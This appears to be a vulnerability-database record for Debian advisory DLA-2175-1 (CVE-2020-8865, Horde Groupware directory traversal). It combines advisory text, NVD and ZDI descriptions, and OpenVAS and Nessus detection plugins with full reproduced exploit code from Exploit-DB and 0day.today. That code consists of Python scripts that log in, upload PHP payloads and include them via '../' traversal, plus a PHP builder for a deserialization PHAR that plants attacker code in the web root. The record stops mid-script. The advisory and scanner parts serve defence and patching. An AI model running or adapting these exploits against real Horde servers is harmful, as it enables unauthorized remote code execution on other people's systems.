ID DEBIAN:DLA-2175-1:C8B21 Type debian Reporter Debian Modified 2020-04-15T03:03:37
Description
Package : php-horde-trean
Version : 1.1.1-2+deb8u1
CVE ID : CVE-2020-8865
Debian Bug : 955019
A directory traversal vulnerability resulting from insufficient input
sanitization was discovered in the Horde Application Framework. An
authenticated remote attacker could use this flaw to execute code in the
context of the web server user.
For Debian 8 "Jessie", this problem has been fixed in version
1.1.1-2+deb8u1.
We recommend that you upgrade your php-horde-trean packages.
Further information about Debian LTS security advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://wiki.debian.org/LTS
{"id": "DEBIAN:DLA-2175-1:C8B21", "bulletinFamily": "unix", "title": "[SECURITY] [DLA 2175-1] php-horde-trean security update", "description": "Package : php-horde-trean\nVersion : 1.1.1-2+deb8u1\nCVE ID : CVE-2020-8865\nDebian Bug : 955019\n\n\nA directory traversal vulnerability resulting from insufficient input\nsanitization was discovered in the Horde Application Framework. An\nauthenticated remote attacker could use this flaw to execute code in the\ncontext of the web server user.\n\nFor Debian 8 "Jessie", this problem has been fixed in version\n1.1.1-2+deb8u1.\n\nWe recommend that you upgrade your php-horde-trean packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "published": "2020-04-15T03:03:37", "modified": "2020-04-15T03:03:37", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "href": "https://lists.debian.org/debian-lts-announce/2020/debian-lts-announce-202004/msg00009.html", "reporter": "Debian", "references": [], "cvelist": ["CVE-2020-8865"], "type": "debian", "lastseen": "2020-04-15T14:35:52", "edition": 1, "viewCount": 35, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-8865"]}, {"type": "nessus", "idList": ["DEBIAN_DLA-2175.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310892175"]}, {"type": "exploitdb", "idList": ["EDB-ID:48210", "EDB-ID:48209"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156699", "PACKETSTORM:156698"]}, {"type": "zdt", "idList": ["1337DAY-ID-34088", "1337DAY-ID-34089"]}], "modified": "2020-04-15T14:35:52", "rev": 2}, "score": {"value": 6.0, "vector": "NONE", "modified": "2020-04-15T14:35:52", "rev": 2}, "vulnersScore": 6.0}, "affectedPackage": [{"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "php-horde-trean_1.1.1-2+deb8u1_all.deb", "packageName": "php-horde-trean", "packageVersion": "1.1.1-2+deb8u1"}]}
{"cve": [{"lastseen": "2020-10-03T12:56:00", "description": "This vulnerability allows remote attackers to execute local PHP files on affected installations of Horde Groupware Webmail Edition 5.2.22. Authentication is required to exploit this vulnerability. The specific flaw exists within edit.php. When parsing the params[template] parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user. Was ZDI-CAN-10469.", "edition": 5, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "baseScore": 6.3, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.4}, "published": "2020-03-23T21:15:00", "title": "CVE-2020-8865", "type": "cve", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8865"], "modified": "2020-04-15T05:15:00", "cpe": ["cpe:/a:horde:groupware:5.2.22"], "id": "CVE-2020-8865", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8865", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:horde:groupware:5.2.22:*:*:*:webmail:*:*:*"]}], "openvas": [{"lastseen": "2020-04-17T17:04:58", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-8865"], "description": "The remote host is missing an update for the ", "modified": "2020-04-16T00:00:00", "published": "2020-04-16T00:00:00", "id": "OPENVAS:1361412562310892175", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892175", "type": "openvas", "title": "Debian LTS: Security Advisory for php-horde-trean (DLA-2175-1)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from the referenced\n# advisories, and are Copyright (C) by the respective right holder(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892175\");\n script_version(\"2020-04-16T03:00:09+0000\");\n script_cve_id(\"CVE-2020-8865\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-04-16 03:00:09 +0000 (Thu, 16 Apr 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-04-16 03:00:09 +0000 (Thu, 16 Apr 2020)\");\n script_name(\"Debian LTS: Security Advisory for php-horde-trean (DLA-2175-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2020/04/msg00009.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DLA-2175-1\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/955019\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'php-horde-trean'\n package(s) announced via the DLA-2175-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"A directory traversal vulnerability resulting from insufficient input\nsanitization was discovered in the Horde Application Framework. An\nauthenticated remote attacker could use this flaw to execute code in the\ncontext of the web server user.\");\n\n script_tag(name:\"affected\", value:\"'php-horde-trean' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', this problem has been fixed in version\n1.1.1-2+deb8u1.\n\nWe recommend that you upgrade your php-horde-trean packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"php-horde-trean\", ver:\"1.1.1-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "zdi": [{"lastseen": "2020-06-22T11:40:28", "bulletinFamily": "info", "cvelist": ["CVE-2020-8865"], "description": "This vulnerability allows remote attackers to execute local PHP files on affected installations of Horde Groupware Webmail Edition. Authentication is required to exploit this vulnerability. The specific flaw exists within edit.php. When parsing the params[template] parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user.", "edition": 1, "modified": "2020-06-22T00:00:00", "published": "2020-03-10T00:00:00", "id": "ZDI-20-276", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-276/", "title": "Horde Groupware Webmail Edition edit Page Directory Traversal Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2021-01-12T09:42:24", "description": "A directory traversal vulnerability resulting from insufficient input\nsanitization was discovered in the Horde Application Framework. An\nauthenticated remote attacker could use this flaw to execute code in\nthe context of the web server user.\n\nFor Debian 8 'Jessie', this problem has been fixed in version\n1.1.1-2+deb8u1.\n\nWe recommend that you upgrade your php-horde-trean packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 5, "cvss3": {"score": 6.3, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}, "published": "2020-04-15T00:00:00", "title": "Debian DLA-2175-1 : php-horde-trean security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-8865"], "modified": "2020-04-15T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:8.0", "p-cpe:/a:debian:debian_linux:php-horde-trean"], "id": "DEBIAN_DLA-2175.NASL", "href": "https://www.tenable.com/plugins/nessus/135498", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-2175-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(135498);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2020-8865\");\n\n script_name(english:\"Debian DLA-2175-1 : php-horde-trean security update\");\n script_summary(english:\"Checks dpkg output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"A directory traversal vulnerability resulting from insufficient input\nsanitization was discovered in the Horde Application Framework. An\nauthenticated remote attacker could use this flaw to execute code in\nthe context of the web server user.\n\nFor Debian 8 'Jessie', this problem has been fixed in version\n1.1.1-2+deb8u1.\n\nWe recommend that you upgrade your php-horde-trean packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2020/04/msg00009.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/php-horde-trean\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Upgrade the affected php-horde-trean package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:php-horde-trean\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/03/23\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/04/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/04/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"php-horde-trean\", reference:\"1.1.1-2+deb8u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2020-03-12T13:37:19", "description": "", "published": "2020-03-11T00:00:00", "type": "exploitdb", "title": "Horde Groupware Webmail Edition 5.2.22 - PHP File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-8866", "CVE-2020-8865"], "modified": "2020-03-11T00:00:00", "id": "EDB-ID:48209", "href": "https://www.exploit-db.com/exploits/48209", "sourceData": "## exploit-inc-inclusion.py\r\n#!/usr/bin/env python3\r\nfrom horde import Horde\r\nimport subprocess\r\nimport sys\r\n\r\nTEMP_DIR = '/tmp'\r\n\r\nif len(sys.argv) < 5:\r\n print('Usage: <base_url> <username> <password> <filename> <php_code>')\r\n sys.exit(1)\r\n\r\nbase_url = sys.argv[1]\r\nusername = sys.argv[2]\r\npassword = sys.argv[3]\r\nfilename = sys.argv[4]\r\nphp_code = sys.argv[5]\r\n\r\n# log into the web application\r\nhorde = Horde(base_url, username, password)\r\n\r\n# upload (delete manually) and evaluate the .inc file\r\nhorde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))\r\nhorde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))\r\n## exploit-inc-inclusion.py EOF\r\n\r\n\r\n\r\n## horde.py\r\nimport re\r\nimport requests\r\n\r\nclass Horde():\r\n def __init__(self, base_url, username, password):\r\n self.base_url = base_url\r\n self.username = username\r\n self.password = password\r\n self.session = requests.session()\r\n self.token = None\r\n self._login()\r\n\r\n def _login(self):\r\n url = '{}/login.php'.format(self.base_url)\r\n data = {\r\n 'login_post': 1,\r\n 'horde_user': self.username,\r\n 'horde_pass': self.password\r\n }\r\n response = self.session.post(url, data=data)\r\n token_match = re.search(r'\"TOKEN\":\"([^\"]+)\"', response.text)\r\n assert (\r\n len(response.history) == 1 and\r\n response.history[0].status_code == 302 and\r\n response.history[0].headers['location'] == '/services/portal/' and\r\n token_match\r\n ), 'Cannot log in'\r\n self.token = token_match.group(1)\r\n\r\n def upload_to_tmp(self, filename, data):\r\n url = '{}/turba/add.php'.format(self.base_url)\r\n files = {\r\n 'object[photo][img][file]': (None, filename),\r\n 'object[photo][new]': ('x', data)\r\n }\r\n response = self.session.post(url, files=files)\r\n assert response.status_code == 200, 'Cannot upload the file to tmp'\r\n\r\n def include_remote_inc_file(self, path):\r\n # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')\r\n app = 'trean:trean_Block_Bookmarks'\r\n\r\n # add one dummy bookmark (to be sure)\r\n url = '{}/trean/add.php'.format(self.base_url)\r\n data = {\r\n 'actionID': 'add_bookmark',\r\n 'url': 'x'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark'\r\n\r\n # add bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark block'\r\n\r\n # edit bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[template]': '../../../../../../../../../../../' + path\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the bookmark block'\r\n\r\n # evaluate the remote file\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n print(response.text)\r\n\r\n # remove the bookmark block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the bookmark block'\r\n\r\n def trigger_phar(self, path):\r\n # vulnerable block (alternatively the same can be obtained by creating a\r\n # bookmark with the PHAR path and clocking on it)\r\n app = 'horde:horde_Block_Feed'\r\n\r\n # add syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the syndicated feed block'\r\n\r\n # edit syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[uri]': 'phar://{}'.format(path)\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the syndicated feed block'\r\n\r\n # load the PHAR archive\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n\r\n # remove the syndicated feed block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the syndicated feed block'\r\n## horde.py EOF", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/48209"}, {"lastseen": "2020-03-12T13:37:19", "description": "", "published": "2020-03-11T00:00:00", "type": "exploitdb", "title": "Horde Groupware Webmail Edition 5.2.22 - PHAR Loading", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-8866", "CVE-2020-8865"], "modified": "2020-03-11T00:00:00", "id": "EDB-ID:48210", "href": "https://www.exploit-db.com/exploits/48210", "sourceData": "## exploit-phar-loading.py\r\n#!/usr/bin/env python3\r\nfrom horde import Horde\r\nimport requests\r\nimport subprocess\r\nimport sys\r\n\r\nTEMP_DIR = '/tmp'\r\nWWW_ROOT = '/var/www/html'\r\n\r\nif len(sys.argv) < 5:\r\n print('Usage: <base_url> <username> <password> <filename> <php_code>')\r\n sys.exit(1)\r\n\r\nbase_url = sys.argv[1]\r\nusername = sys.argv[2]\r\npassword = sys.argv[3]\r\nfilename = sys.argv[4]\r\nphp_code = sys.argv[5]\r\n\r\nsource = '{}/{}.phar'.format(TEMP_DIR, filename)\r\ndestination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)\r\ntemp = 'temp.phar'\r\nurl = '{}/static/{}.php'.format(base_url, filename)\r\n\r\n# log into the web application\r\nhorde = Horde(base_url, username, password)\r\n\r\n# create a PHAR that performs a rename when loaded and runs the payload when executed\r\nsubprocess.run([\r\n 'php', 'create-renaming-phar.php',\r\n temp, source, destination, php_code\r\n], stderr=subprocess.DEVNULL)\r\n\r\n# upload the PHAR\r\nwith open(temp, 'rb') as fs:\r\n phar_data = fs.read()\r\n horde.upload_to_tmp('{}.phar'.format(filename), phar_data)\r\n\r\n# load the phar thus triggering the rename\r\nhorde.trigger_phar(source)\r\n\r\n# issue a request to trigger the payload\r\nresponse = requests.get(url)\r\nprint(response.text)\r\n## exploit-phar-loading.py EOF\r\n\r\n\r\n\r\n\r\n## create-renaming-phar.php\r\n#!/usr/bin/env php\r\n<?php\r\n\r\n// the __destruct method of Horde_Auth_Passwd eventually calls\r\n// rename($this->_lockfile, $this->_params['filename']) if $this->_locked\r\nclass Horde_Auth_Passwd {\r\n // visibility must match since protected members are prefixed by \"\\x00*\\x00\"\r\n protected $_locked;\r\n protected $_params;\r\n\r\n function __construct($source, $destination) {\r\n $this->_params = array('filename' => $destination);\r\n $this->_locked = true;\r\n $this->_lockfile = $source;\r\n }\r\n};\r\n\r\nfunction createPhar($path, $source, $destination, $stub) {\r\n // create the object and specify source and destination files\r\n $object = new Horde_Auth_Passwd($source, $destination);\r\n\r\n // create the PHAR\r\n $phar = new Phar($path);\r\n $phar->startBuffering();\r\n $phar->addFromString('x', '');\r\n $phar->setStub(\"<?php $stub __HALT_COMPILER();\");\r\n $phar->setMetadata($object);\r\n $phar->stopBuffering();\r\n}\r\n\r\nfunction main() {\r\n global $argc, $argv;\r\n\r\n // check arguments\r\n if ($argc != 5) {\r\n fwrite(STDERR, \"Usage: <path> <source> <destination> <stub>\\n\");\r\n exit(1);\r\n }\r\n\r\n // create a fresh new phar\r\n $path = $argv[1];\r\n $source = $argv[2];\r\n $destination = $argv[3];\r\n $stub = $argv[4];\r\n @unlink($path);\r\n createPhar($path, $source, $destination, $stub);\r\n}\r\n\r\nmain();\r\n## create-renaming-phar.php EOF\r\n\r\n\r\n## horde.py\r\nimport re\r\nimport requests\r\n\r\nclass Horde():\r\n def __init__(self, base_url, username, password):\r\n self.base_url = base_url\r\n self.username = username\r\n self.password = password\r\n self.session = requests.session()\r\n self.token = None\r\n self._login()\r\n\r\n def _login(self):\r\n url = '{}/login.php'.format(self.base_url)\r\n data = {\r\n 'login_post': 1,\r\n 'horde_user': self.username,\r\n 'horde_pass': self.password\r\n }\r\n response = self.session.post(url, data=data)\r\n token_match = re.search(r'\"TOKEN\":\"([^\"]+)\"', response.text)\r\n assert (\r\n len(response.history) == 1 and\r\n response.history[0].status_code == 302 and\r\n response.history[0].headers['location'] == '/services/portal/' and\r\n token_match\r\n ), 'Cannot log in'\r\n self.token = token_match.group(1)\r\n\r\n def upload_to_tmp(self, filename, data):\r\n url = '{}/turba/add.php'.format(self.base_url)\r\n files = {\r\n 'object[photo][img][file]': (None, filename),\r\n 'object[photo][new]': ('x', data)\r\n }\r\n response = self.session.post(url, files=files)\r\n assert response.status_code == 200, 'Cannot upload the file to tmp'\r\n\r\n def include_remote_inc_file(self, path):\r\n # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')\r\n app = 'trean:trean_Block_Bookmarks'\r\n\r\n # add one dummy bookmark (to be sure)\r\n url = '{}/trean/add.php'.format(self.base_url)\r\n data = {\r\n 'actionID': 'add_bookmark',\r\n 'url': 'x'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark'\r\n\r\n # add bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark block'\r\n\r\n # edit bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[template]': '../../../../../../../../../../../' + path\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the bookmark block'\r\n\r\n # evaluate the remote file\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n print(response.text)\r\n\r\n # remove the bookmark block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the bookmark block'\r\n\r\n def trigger_phar(self, path):\r\n # vulnerable block (alternatively the same can be obtained by creating a\r\n # bookmark with the PHAR path and clocking on it)\r\n app = 'horde:horde_Block_Feed'\r\n\r\n # add syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the syndicated feed block'\r\n\r\n # edit syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[uri]': 'phar://{}'.format(path)\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the syndicated feed block'\r\n\r\n # load the PHAR archive\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n\r\n # remove the syndicated feed block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the syndicated feed block'\r\n## horde.py EOF", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/48210"}], "zdt": [{"lastseen": "2020-03-13T13:29:16", "description": "Exploit for php platform in category web applications", "edition": 1, "published": "2020-03-12T00:00:00", "title": "Horde Groupware Webmail Edition 5.2.22 - PHP File Inclusion Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-8866", "CVE-2020-8865"], "modified": "2020-03-12T00:00:00", "id": "1337DAY-ID-34088", "href": "https://0day.today/exploit/description/34088", "sourceData": "## exploit-inc-inclusion.py\r\n#!/usr/bin/env python3\r\nfrom horde import Horde\r\nimport subprocess\r\nimport sys\r\n\r\nTEMP_DIR = '/tmp'\r\n\r\nif len(sys.argv) < 5:\r\n print('Usage: <base_url> <username> <password> <filename> <php_code>')\r\n sys.exit(1)\r\n\r\nbase_url = sys.argv[1]\r\nusername = sys.argv[2]\r\npassword = sys.argv[3]\r\nfilename = sys.argv[4]\r\nphp_code = sys.argv[5]\r\n\r\n# log into the web application\r\nhorde = Horde(base_url, username, password)\r\n\r\n# upload (delete manually) and evaluate the .inc file\r\nhorde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))\r\nhorde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))\r\n## exploit-inc-inclusion.py EOF\r\n\r\n\r\n\r\n## horde.py\r\nimport re\r\nimport requests\r\n\r\nclass Horde():\r\n def __init__(self, base_url, username, password):\r\n self.base_url = base_url\r\n self.username = username\r\n self.password = password\r\n self.session = requests.session()\r\n self.token = None\r\n self._login()\r\n\r\n def _login(self):\r\n url = '{}/login.php'.format(self.base_url)\r\n data = {\r\n 'login_post': 1,\r\n 'horde_user': self.username,\r\n 'horde_pass': self.password\r\n }\r\n response = self.session.post(url, data=data)\r\n token_match = re.search(r'\"TOKEN\":\"([^\"]+)\"', response.text)\r\n assert (\r\n len(response.history) == 1 and\r\n response.history[0].status_code == 302 and\r\n response.history[0].headers['location'] == '/services/portal/' and\r\n token_match\r\n ), 'Cannot log in'\r\n self.token = token_match.group(1)\r\n\r\n def upload_to_tmp(self, filename, data):\r\n url = '{}/turba/add.php'.format(self.base_url)\r\n files = {\r\n 'object[photo][img][file]': (None, filename),\r\n 'object[photo][new]': ('x', data)\r\n }\r\n response = self.session.post(url, files=files)\r\n assert response.status_code == 200, 'Cannot upload the file to tmp'\r\n\r\n def include_remote_inc_file(self, path):\r\n # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')\r\n app = 'trean:trean_Block_Bookmarks'\r\n\r\n # add one dummy bookmark (to be sure)\r\n url = '{}/trean/add.php'.format(self.base_url)\r\n data = {\r\n 'actionID': 'add_bookmark',\r\n 'url': 'x'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark'\r\n\r\n # add bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark block'\r\n\r\n # edit bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 